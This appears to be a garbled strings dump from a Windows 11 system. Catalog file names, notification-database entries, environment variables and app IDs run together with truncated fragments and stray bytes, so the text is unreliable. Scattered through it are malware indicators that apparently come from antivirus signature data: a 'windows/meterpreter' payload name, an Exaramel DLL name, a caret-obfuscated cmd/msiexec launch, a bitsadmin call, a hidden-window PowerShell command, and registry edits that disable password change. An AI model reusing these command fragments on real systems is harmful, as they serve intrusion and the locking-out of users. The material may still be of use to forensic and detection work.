9NM395CH685JMinecraft Legends for Windows + Launcherhttps://store-images.s-microsoft.com/image/apps.43083.13695729085627777.1297136a-f273-41f1-947f-59044c848c55.96136b17-8c70-4dce-9ca0-3ef59a1fd391en
9NM395CH685JMinecraft Legends for Windows + Launcherhttps://store-images.s-microsoft.com/image/apps.43083.13695729085627777.1297136a-f273-41f1-947f-59044c848c55.96136b17-8c70-4dce-9ca0-3ef59a1fd391fr
9NM395CH685JMinecraft Legends for Windows + Launcherhttps://store-images.s-microsoft.com/image/apps.43083.13695729085627777.1297136a-f273-41f1-947f-59044c848c55.96136b17-8c70-4dce-9ca0-3ef59a1fd391de
OS=Windows_NT
c:\windows\winstart.exec
c:\windows\akc\strsdfc
WindowsFormsApp68
Microsoft-Windows-Client-Desktop-Required-Package04102031~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft.Windows.Sentinels.Realtime_0
USERNAME=WINDOWS11$
windir=C:\WINDOWS
USERNAME=WINDOWS11$
SystemRoot=C:\WINDOWS
C:\WINDOWS\system32\wbem\wmiprvse.exe
%s\ADMIN$\System32\%s%s
Exaramel-Windows.dll
:1#\.exeicon=%systemroot%\system32\shell32.dll,4action=openfoldertoviewfilesshell\open=openshell\open\command=
{"queryUrl":"/settings/v3.0/TELEMETRY/ASM-WINDOWSSQ"}
LOCALAPPDATA=C:\WINDOWS\system32\config
OS=Windows_NT
Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Windows.Networking.BackgroundTransfer.BackgroundManagerPolicy.dll
Microsoft.Windows.Networking.BackgroundTransfer.BackgroundManagerPolicy
Windows.Networking.BackgroundTransfer.BackgroundManagerPolicy.pdb
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat
Windows
Windows.Defender.MpUxDlpSystemapp:system2026-02-24 07:58:502026-02-24 07:58:50k
Microsoft.WindowsStore_8wekyb3d8bbwe!StoreCLIapp:immersive2026-02-21 11:25:032026-02-21 11:25:03y
Microsoft.OutlookForWindows_8wekyb3d8bbwe!Microsoft.OutlookforWindowsapp:immersive2026-02-21 11:16:392026-02-21 11:16:39o
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy!AppX;
Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy!AppW5
Microsoft.Windows.CapturePicker_cw5n1h2txyewy!AppV=
Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy!AppU5
Microsoft.Windows.Apprep.ChxApp_cw5n1h2txyewy!AppT8
Microsoft.LockApp_cw5n1h2txyewy!WindowsDefaultLockScreenO%
E2A4F912-2574-4A75-9BB0-0D023378592B_cw5n1h2txyewy!Microsoft.Windows.AppResolverUXG:
1527c705-839a-4832-9118-54d4Bd6a0c89_cw5n1h2txyewy!Microsoft.Windows.FilePickerE"
Windows.SystemToast.WindowsTipD!
Windows.SystemToast.SuggestedC*
Windows.SystemToast.MobilityExperienceB!
Windows.SystemToast.FodHelperA'
Windows.SystemToast.DisplaySettings@9
Windows.SystemToast.CloudExperienceHostLauncherCustom?
Windows.SystemToast.Wwansvc>5
Windows.SystemToast.WindowsUpdate.MoNotification2=4
Windows.SystemToast.WindowsUpdate.MoNotification<*
Windows.SystemToast.WiFiNetworkManager;(
Windows.SystemToast.Usb.Notification:(
Windows.SystemToast.SuggestedActions9
Windows.SystemToast.StorSvc8"
Windows.SystemToast.StartupApp7&
Windows.SystemToast.SpeechServices6#
Windows.SystemToast.SoftLanding5
Windows.SystemToast.Share4<
Windows.SystemToast.ServiceInitiatedHealing.Notification3&
Windows.SystemToast.SecurityCenter2.
Windows.SystemToast.SecurityAndMaintenance1#
Windows.SystemToast.RecallSetup0(
Windows.SystemToast.RasToastNotifier//
Windows.SystemToast.Print.PrintNotification.0
Windows.SystemToast.Print.PrinterCleanupTask-*
Windows.SystemToast.Print.Notification,9
Windows.SystemToast.PresenceSensing.OnlookerDetection+"
Windows.SystemToast.PinConsent*)
Windows.SystemToast.NfpReceiveContent)(
Windows.SystemToast.NfpDevicePairing($
Windows.SystemToast.NfpAppLaunch'%
Windows.SystemToast.NfpAppAcquire&
Windows.SystemToast.LowDisk%'
Windows.SystemToast.LocationManager$(
Windows.SystemToast.LanguageSettings#!
Windows.SystemToast.HelloFace" 
Windows.SystemToast.Explorer!0
Windows.SystemToast.EnterpriseDataProtection %
Windows.SystemToast.DisplayBroker
Windows.SystemToast.DevicesFlow
Windows.SystemToast.Devices
Windows.SystemToast.DeviceManagement
Windows.SystemToast.DeviceEnrollmentActivity
Windows.SystemToast.DeviceConsent
Windows.SystemToast.DefaultAudioEndpoint
Windows.SystemToast.Compat
Windows.SystemToast.CameraTroubleshooter
Windows.SystemToast.Calling.SystemAlertNotification
Windows.SystemToast.Calling
Windows.SystemToast.BthQuickPair
Windows.SystemToast.Bthprops
Windows.SystemToast.BitLockerPolicyRefresh
Windows.SystemToast.BdeUnlock
Windows.SystemToast.BackupReminder
Windows.SystemToast.BackgroundAccess
Windows.SystemToast.AutoPlay
Windows.SystemToast.AudioTroubleshooter
Windows.SystemToast.AccountHealth
Windows.System.ShareExperience
Windows.System.NearShareExperienceReceive
Windows.System.MiracastReceiver	
Windows
MicrosoftWindows.Client.OOBE_cw5n1h2txyewy!WindowsOobeAppHost
Windows.SystemToast.Calling
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.PeopleWidget
Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy!App`
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.1591.cat
    xmlns:ns0000="http://schemas.microsoft.com/windows/2018/04/printing/printschemakeywords/Ipp"
    xmlns:psk="http://schemas.microsoft.com/windows/2003/08/printing/printschemakeywords"
    xmlns:psk11="http://schemas.microsoft.com/windows/2013/05/printing/printschemakeywordsv11"
    xmlns:psk12="http://schemas.microsoft.com/windows/2013/12/printing/printschemakeywordsv12"
    xmlns:psf="http://schemas.microsoft.com/windows/2003/08/printing/printschemaframework"
    xmlns:psf2="http://schemas.microsoft.com/windows/2013/12/printing/printschemaframework2"
    xmlns="http://schemas.microsoft.com/windows
windowstate="K
ows\system32\cmd.exe/c"bitsadmin/U
.?AU?$__abi_FunctorCapture@V<lambda_c58b139f883361abaa5f6b29dc7fb710>@@XPE$AAUIBackgroundTaskInstance@Background@ApplicationModel@Windows@@W4BackgroundTaskCancellationReason@345@@Details@Platform@@
.?AU?$__abi_FunctorCapture@V<lambda_8006b61e86e510403a66b90e9d736c4d>@@XPE$AAUIBackgroundTaskInstance@Background@ApplicationModel@Windows@@W4BackgroundTaskCancellationReason@345@@Details@Platform@@
.?AU__abi_PointerToMemberWeakRefCapture@?1???$?0VPhoneBrokerAppServiceTask@Background@ContentDeliveryManager@@P8012@E$AAAXPE$AAVAppServiceConnection@AppService@ApplicationModel@Windows@@PE$AAVAppServiceRequestReceivedEventArgs@456@@Z@?$TypedEventHandler@PE$AAVAppServiceConnection@AppService@ApplicationModel@Windows@@PE$AAVAppServiceRequestReceivedEventArgs@234@@Foundation@Windows@@QE$AAA@PE$AAVPhoneBrokerAppServiceTask@Background@ContentDeliveryManager@@P8456@E$AAAXPE$AAVAppServiceConnection@AppService@ApplicationModel@3@PE$AAVAppServiceRequestReceivedEventArgs@893@@ZW4CallbackContext@Platform@@_N@Z@
windows/meterpreter
COMPUTERNAME=WINDOWS11
LOGONSERVER=\\WINDOWS11
SystemRoot=C:\WINDOWS
USERDOMAIN=Windows11
windir=C:\WINDOWS
!s\system32\cmd.exey/x/e/v/cs^ta^rt^m^sie^xec-^fvz
!"%windir%\system32\
.windows-int.net1&0
.windows.com1&0
insidersurveys.windows.com0 
www.insidersurveys.windows.com06
.windows.net1&0
.windowsazure.com1&0
.windowsmedia.com1&0
.windowsphone-int.com1&0
.windowsphone-int.net1&0
.windowsphone.com1)0
.windowsphone.net1&0
.windowssearch.com1&0
.windowsstore.com1&0
Microsoft.Windows.HostName
Windows.Networking.HostName.pdb
Windows Write
WindowsApplication1.My
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Features-Package013~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Desktop-Required-Package04102030~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Windows.SystemToast.CallingSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44a
Windows.SystemToast.BthQuickPairSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44]
Windows.SystemToast.BthpropsSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44k
Windows.SystemToast.BitLockerPolicyRefreshSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44^
Windows.SystemToast.BdeUnlockSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44c
Windows.SystemToast.BackupReminderSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44e
Windows.SystemToast.BackgroundAccessSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44]
Windows.SystemToast.AutoPlaySystemapp:system2026-02-20 16:13:442026-02-20 16:13:44h
Windows.SystemToast.AudioTroubleshooterSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44b
Windows.SystemToast.AccountHealthSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44_
Windows.System.ShareExperienceSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44j
Windows.System.NearShareExperienceReceiveSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44`	
Windows.System.MiracastReceiverSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44Z
Windows.System.DialServerSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44Y
Windows.System.ContinuumSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44U
Windows.System.AudioSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44d
Windows.System.AppInitiatedDownloadSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44Q
Windows.DefenderSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44c
Microsoft.Windows.ParentalControlsSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44j
Microsoft.Windows.InputSwitchToastHandlerSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44n
Microsoft.Windows.DynamicLightingToastHandlerSystemapp:syste
E2A4F912-2574-4A75-9BB0-0D023378592B_cw5n1h2txyewy!Microsoft.Windows.AppResolverUXapp:immersive2026-02-20 16:13:452026-02-20 16:13:45tF
1527c705-839a-4832-9118-54d4Bd6a0c89_cw5n1h2txyewy!Microsoft.Windows.FilePickerapp:immersive2026-02-20 16:13:452026-02-20 16:13:45_D
Windows.SystemToast.WindowsTipSystemapp:system2026-02-20 16:13:452026-02-24 08:06:25^C
Windows.SystemToast.SuggestedSystemapp:system2026-02-20 16:13:452026-02-20 16:13:45gB
Windows.SystemToast.MobilityExperienceSystemapp:system2026-02-20 16:13:452026-02-20 16:13:45^A
Windows.SystemToast.FodHelperSystemapp:system2026-02-20 16:13:45202
Windows.SystemToast.NfpAppLaunchSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44b&
Windows.SystemToast.NfpAppAcquireSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44\%
Windows.SystemToast.LowDiskSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44d$
Windows.SystemToast.LocationManagerSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44e#
Windows.SystemToast.LanguageSettingsSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44^"
Windows.SystemToast.HelloFaceSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44]!
Windows.SystemToast.ExplorerSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44m 
Windows.SystemToast.EnterpriseDataProtectionSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44b
Windows.SystemToast.DisplayBrokerSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44`
Windows.SystemToast.DevicesFlowSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44\
Windows.SystemToast.DevicesSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44e
Windows.SystemToast.DeviceManagementSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44m
Windows.SystemToast.DeviceEnrollmentActivitySystemapp:system2026-02-20 16:13:442026-02-20 16:13:44b
Windows.SystemToast.DeviceConsentSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44i
Windows.SystemToast.DefaultAudioEndpointSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44[
Windows.SystemToast.CompatSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44i
Windows.SystemToast.CameraTroubleshooterSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44t
Windows.SystemToast.Calling.SystemAlertNotificationSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44\
Windows.SystemToast.CallingSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44a
Windows.SystemToast.BthQuickPairSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44]
Windows.SystemToast.BthpropsSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44k
Windows.SystemToast.BitLockerPolicyRefreshSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44^
Windows.SystemToast.BdeUnlockSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44c
Windows.SystemToast.BackupReminderSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44e
Windows.SystemToast.BackgroundAccessSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44]
Windows.SystemToast.AutoPlaySystemapp:system2026-02-20 16:13:442026-02-20 16:13:44h
Windows.SystemToast.AudioTroubleshooterSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44b
Windows.SystemToast.AccountHealthSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44_
Windows.System.ShareExperienceSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44j
Windows.System.NearShareExperienceReceiveSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44`	
Windows.System.MiracastReceiverSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44Z
Windows.System.DialServerSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44Y
Windows.System.ContinuumSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44U
Windows.System.AudioSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44d
Windows.System.AppInitiatedDownloadSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44Q
Windows.DefenderSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44c
Microsoft.Windows.ParentalControlsSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44j
Microsoft.Windows.InputSwitchToastHandlerSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44n
Microsoft.Windows.DynamicLightingToastHandlerSystemapp:syste
WindowsGetStringLen
eGc:\windows\system32\windowspowershell\v1.0\powershell.exe-windowstylehidden-command&{[string]$x=[io.file]::readalltext('c:\
.?AU__abi_IDelegate@?$VectorChangedEventHandler@PE$AAVString@Platform@@@Collections@Foundation@Windows@@
.?AV?$AsyncOperationCompletedHandler@PE$AAU?$IMapView@PE$AAVString@Platform@@PE$AAV12@@Collections@Foundation@Windows@@@Foundation@Windows@@
.?AV?$VectorChangedEventHandler@PE$AAVString@Platform@@@Collections@Foundation@Windows@@
.?AU?$IIterable@PE$AAVString@Platform@@@Collections@Foundation@Windows@@
.?AU?$IObservableVector@PE$AAVString@Platform@@@Collections@Foundation@Windows@@
.?AU?$IVector@PE$AAVString@Platform@@@Collections@Foundation@Windows@@
.?AU?$__abi_FunctorCapture@V<lambda_a612bcf14326c574c46f12d4dcf5b062>@@XPE$AAU?$IAsyncOperation@PE$AAVWebAccountProvider@Credentials@Security@Windows@@@Foundation@Windows@@W4AsyncStatus@34@@Details@Platform@@
.?AV?$_Ref_count_obj@U?$_Task_impl@PE$AAVWebAccountProvider@Credentials@Security@Windows@@@details@Concurrency@@@std@@
.?AU?$_Task_impl@PE$AAVWebAccountProvider@Credentials@Security@Windows@@@details@Concurrency@@
.?AV?$AsyncOperationCompletedHandler@PE$AAVWebAccountProvider@Credentials@Security@Windows@@@Foundation@Windows@@
.?AU__abi_IDelegate@?$AsyncOperationCompletedHandler@PE$AAVWebAccountProvider@Credentials@Security@Windows@@@Foundation@Windows@@
.?AU?$__abi_FunctorCapture@V<lambda_339a40bc9a70eb9e6dcfa3d5035edf33>@@XPE$AAU?$IAsyncOperation@PE$AAVStorageFile@Storage@Windows@@@Foundation@Windows@@W4AsyncStatus@34@@Details@Platform@@
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
MicrosoftWindows.59337133.Voiess_cw5n1h2txyewy!Global.VoiceAccessHostapp:immersive2026-02-20 16:13:452026-02-20 16:13:45
MicrosoftWindows.59337133.Voiess_cw5n1h2txyewy!Global.SpeechRecognizerExtensionapp:immersive2026-02-20 16:13:452026-02-20 16:13:45}j
MicrosoftWindows.59336768.Speion_cw5n1h2txyewy!PackageMetadataapp:immersive2026-02-20 16:13:452026-02-20 16:13:45
MicrosoftWindows.59336768.Speion_cw5n1h2txyewy!Global.SpeechSynthesizerExtensionapp:immersive2026-02-20 16:13:452026-02-20 16:13:45}h
MicrosoftWindows.57242383.Tasbar_cw5n1h2txyewy!PackageMetadataapp:immersive2026-02-20 16:13:452026-02-20 16:13:45|g
MicrosoftWindows.57242383.Tasbar_cw5n1h2txyewy!Global.Taskbarapp:immersive2026-02-20 16:13:452026-02-20 16:13:45
MicrosoftWindows.57242383.Tasbar_cw5n1h2txyewy!Global.SystemTrayapp:immersive2026-02-20 16:13:452026-02-20 16:13:45
Microsoft.Windows.XGpuEjectDialog_cw5n1h2txyewy!Microsoft.Windows.XGpuEjectDialogapp:immersive2026-02-20 16:13:452026-02-20 16:13:45
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy!FullTrustAppapp:immersive2026-02-20 16:13:452026-02-20 16:13:45zb
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy!Appapp:immersive2026-02-20 16:13:452026-02-20 16:13:45
Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy!FullTrustAppapp:immersive2026-02-20 16:13:452026-02-20 16:13:45u`
Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy!Appapp:immersive2026-02-20 16:13:452026-02-20 16:13:45z_
Microsoft.Windows.SecureAssessmentBrowser_cw5n1h2txyewy!Appapp:immersive2026-02-20 16:13:452026-02-20 16:13:45y^
Microsoft.Windows.PrintQueueActionCenter_cw5n1h2txyewy!Appapp:immersive2026-02-20 16:13:452026-02-20 16:13:45|]
Microsoft.Windows.PinningConfirmationDialog_cw5n1h2txyewy!Appapp:immersive2026-02-20 16:13:452026-02-20 16:13:45v\
Microsoft.Windows.PeopleExperienceHost_cw5n1h2txyewy!Appapp:immersive2026-02-20 16:13:452026-02-20 16:13:45r[
Microsoft.Windows.ParentalControls_cw5n1h2txyewy!Appapp:immersive2026-02-20 16:13:452026-02-20 16:13:45|Z
Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy!Appapp:immersive2026-02-20 16:13:452026-02-20 16:13:45{Y
Microsoft.Windows.OOBENetworkCaptivePortal_cw5n1h2txyewy!Appapp:immersive2026-02-20 16:13:452026-02-20 16:13:45yX
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy!Appapp:immersive2026-02-20 16:13:452026-02-20 16:13:45uW
Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy!Appapp:immersive2026-02-20 16:13:452026-02-20 16:13:45oV
Microsoft.Windows.CapturePicker_cw5n1h2txyewy!Appapp:immersive2026-02-20 16:13:452026-02-20 16:13:45wU
Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy!Appapp:immersive2026-02-20 16:13:452026-02-20 16:13:45oT
Microsoft.Windows.Apprep.ChxApp_cw5n1h2txyewy!Appapp:immersive2026-02-20 16:13:452026-02-20 16:13:45rS
Microsoft.LockApp_cw5n1h2txyewy!WindowsDefaultLockScreenapp:immersive2026-02-20 16:13:452026-02-20 16:13:45_N
C:\Users\job\AppData\Local\Microsoft\Windows\Notifications\wpndatabase.db
C:\Users\job\AppData\Local\Microsoft\Windows\Notifications\wpndatabase.db-journal
C:\Users\job\AppData\Local\Microsoft\Windows\Notifications\wpndatabase.db-wal
z..\windows\system32\cmd.exe#/cjudicature\parked.cmdregc:\windows\explorer.exe%systemroot%
Microsoft.Windows.Audio.BackgroundAudioPolicy
Microsoft.Windows.BackgroundManager
WindowsDeleteString
WindowsGetStringRawBuffer
WindowsCompareStringOrdinal
WindowsCreateString
Windows Hello 
Windows Hello 
Windows Hello 
Windows Hello 
Windows is all yours. Have fun!
Windows Web Experience Host
Windows Out of Box Experience
c:\windows\system32\cmd.exe/c"
Windows.Security.Authentication.Identity.Provider
Windows.Security.Authentication.OnlineId
Windows.Security.Authentication.Web.Core
Windows.Security.Authentication.Web
Windows.Security.Authentication.Web.Provider
shellcommon\undockeddevkit\libs\windowsudk.system.profile\systemsettingentrypointcatalog.cpp
Windows Defender Exploit Guard detected launching of an untrusted or unsigned executable from a removable USB media.
Windows Defender Exploit Guard detected an application writing an exploited vulnerable signed driver to the disk
PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
USERNAME=WINDOWS11$
windir=C:\WINDOWS
TEMP=C:\WINDOWS\TEMP
TMP=C:\WINDOWS\TEMP
/MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.AccountDialog
Microsoft.Windows.Security.Ncrypt
Microsoft.Windows.Security.KeyGuard
reg add hkcu\software\microsoft\windows\currentversion\policies\system /v disablechangepassword /t reg_dword /d 1 /freg add hklm\software\microsoft\windows\currentversion\policies\system /v hidefastuserswitching /t reg_dword /d 1 /f
commands\windowsautologon_command.py\scheduledtasks_command.pyrdpsavedconnections_command.pyprocesscreationevents_command.pyVirTool:Win64/Shloader.A
\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
SystemRoot=C:\WINDOWS
TEMP=C:\WINDOWS\TEMP
TMP=C:\WINDOWS\TEMP
USERNAME=WINDOWS11$
USERPROFILE=C:\WINDOWS\systed
windir=C:\WINDOWS
APPDATA=C:\WINDOWS\system32\config\systemprofile\AppData\Roaming
COMPUTERNAME=WINDOWS11
ComSpec=C:\WINDOWS\system32\cmd.exe
DriverData=C:\Windows\System32\Drivers\DriverData
LOCALAPPDATA=C:\WINDOWS\system32\config\systemprofile\AppData\Local
OS=Windows_NT
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps
PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
SystemRoot=C:\WINDOWS
TEMP=C:\WINDOWS\TEMP
TMP=C:\WINDOWS\TEMP
USERNAME=WINDOWS11$
USERPROFILE=C:\WINDOWS\system32\config\systemprofile
.?AV?$RuntimeClass@U?$RuntimeClassFlags@$0L@@WRL@Microsoft@@UIWscBrokerManagerSink@SecurityCenter@Windows@@@WRL@Microsoft@@
.?AV?$RuntimeClassImpl@U?$RuntimeClassFlags@$0L@@WRL@Microsoft@@$00$00$0A@UIWscBrokerManagerSink@SecurityCenter@Windows@@@Details@WRL@Microsoft@@
.?AU?$ImplementsHelper@U?$RuntimeClassFlags@$0L@@WRL@Microsoft@@$0A@UIWscBrokerManagerSink@SecurityCenter@Windows@@UIWeakReferenceSource@@@Details@WRL@Microsoft@@
WindowsCreateStringReference
SnippingToolSandbox\SnippingToolUI\WindowSelection.xbfz
Microsoft-Windows-Client-Features-Package07~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Assets\WindowsSecurityAppList.scale-100.png~{&
Assets\contrast-white\WindowsSecurityWideTile.scale-400_contrast-white.png~cT
Assets\contrast-white\WindowsSecurityWideTile.scale-200_contrast-white.png~bT
Assets\contrast-white\WindowsSecurityWideTile.scale-150_contrast-white.png~aT
Assets\contrast-white\WindowsSecurityWideTile.scale-125_contrast-white.png~`T
Assets\contrast-white\WindowsSecurityWideTile.scale-100_contrast-white.png~_X
Assets\contrast-white\WindowsSecuritySplashScreen.scale-400_contrast-white.png~^X
Assets\contrast-white\WindowsSecuritySplashScreen.scale-200_contrast-white.png~]X
Assets\contrast-white\WindowsSecuritySplashScreen.scale-150_contrast-white.png~\X
Assets\contrast-white\WindowsSecuritySplashScreen.scale-125_contrast-white.png~[X
Assets\contrast-white\WindowsSecuritySplashScreen.scale-100_contrast-white.png~ZU
Assets\contrast-white\WindowsSecuritySmallTile.scale-400_contrast-white.png~YU
Assets\contrast-white\WindowsSecuritySmallTile.scale-200_contrast-white.png~XU
Assets\contrast-white\WindowsSecuritySmallTile.scale-150_contrast-white.png~WU
Assets\contrast-white\WindowsSecuritySmallTile.scale-125_contrast-white.png~VU
Assets\contrast-white\WindowsSecuritySmallTile.scale-100_contrast-white.png~US
Assets\contrast-white\WindowsSecurityMedTile.scale-400_contrast-white.png~TS
Assets\contrast-white\WindowsSecurityMedTile.scale-200_contrast-white.png~SS
Assets\contrast-white\WindowsSecurityMedTile.scale-150_contrast-white.png~RS
Assets\contrast-white\WindowsSecurityMedTile.scale-125_contrast-white.png~QS
Assets\contrast-white\WindowsSecurityMedTile.scale-100_contrast-white.png~PU
Assets\contrast-white\WindowsSecurityLargeTile.scale-400_contrast-white.png~OU
Assets\contrast-white\WindowsSecurityLargeTile.scale-200_contrast-white.png~NU
Assets\contrast-white\WindowsSecurityLargeTile.scale-150_contrast-white.png~MU
Assets\contrast-white\WindowsSecurityLargeTile.scale-125_contrast-white.png~LU
Assets\contrast-white\WindowsSecurityLargeTile.scale-100_contrast-white.png~KW
Assets\contrast-white\WindowsSecurityAppList.targetsize-96_contrast-white.png~Jh
Assets\contrast-white\WindowsSecurityAppList.targetsize-96_altform-unplated_contrast-white.png~Im
Assets\contrast-white\WindowsSecurityAppList.targetsize-96_altform-lightunplated_contrast-white.png~HW
Assets\contrast-white\WindowsSecurityAppList.targetsize-48_contrast-white.png~Gh
Assets\contrast-white\WindowsSecurityAppList.targetsize-48_altform-unplated_contrast-white.png~Fm
Assets\contrast-white\WindowsSecurityAppList.targetsize-48_altform-lightunplated_contrast-white.png~EX
Assets\contrast-white\WindowsSecurityAppList.targetsize-256_contrast-white.png~Di
Assets\contrast-white\WindowsSecurityAppList.targetsize-256_altform-unplated_contrast-white.png~C:
Microsoft.Windows.CDP.Service
Microsoft.Windows.MSIXDeployment.DEH
Microsoft.Windows.Icu
stem32%\tabcal.exe;%system32%\verifier.exe;%system32%\wfs.exe;%system32%\workfolders.exe;%system32%\write.exe;%system32%\wscollect.exe;%programfiles%\google\chrome\application\chrome.exe;%programfiles%\microsoft\edge\application\msedge.exe;%programfiles%\mozilla firefox\firefox.exe;%programfiles%\microsoft office\root\office%version%\excel.exe;%programfiles%\microsoft office\root\office%version%\outlook.exe;%programfiles%\microsoft office\root\office%version%\powerpnt.exe;%programfiles%\microsoft office\root\office%version%\winword.exe;%appdata%\zoom\bin\zoom.exe;%programfiles%\windowsapps\microsoftteams%version%\msteams.exe;%programfiles%\microsoft office\root\office%version%\msaccess.exe;preconditions%programfiles%\microsoft office\root\office%version%\msoev.exe;preconditions%programfiles%\microsoft office\root\office%version%\msotd.exe;preconditions%programfiles%\microsoft office\root\office%version%\mspub.exe;preconditions%programfiles%\microsoft office\root\office%version%\onenote.exe
%system32%\bdehdcfg.exe;%system32%\licensediag.exe;%system32%\slui.exe;%system32%\systempropertiesadvanced.exe;%system32%\systemsettingsadminflows.exe
%system32%\securityhealthservice.exe
%system32%;%syswow64%;%programfiles%\windows kits\10\assessment and deployment kit\deployment tools\arm64\dism
%system32%\recoverydrive.exe;%system32%\resetengine.exe;%system32%\systemreset.exe;%system32%\dism.exe
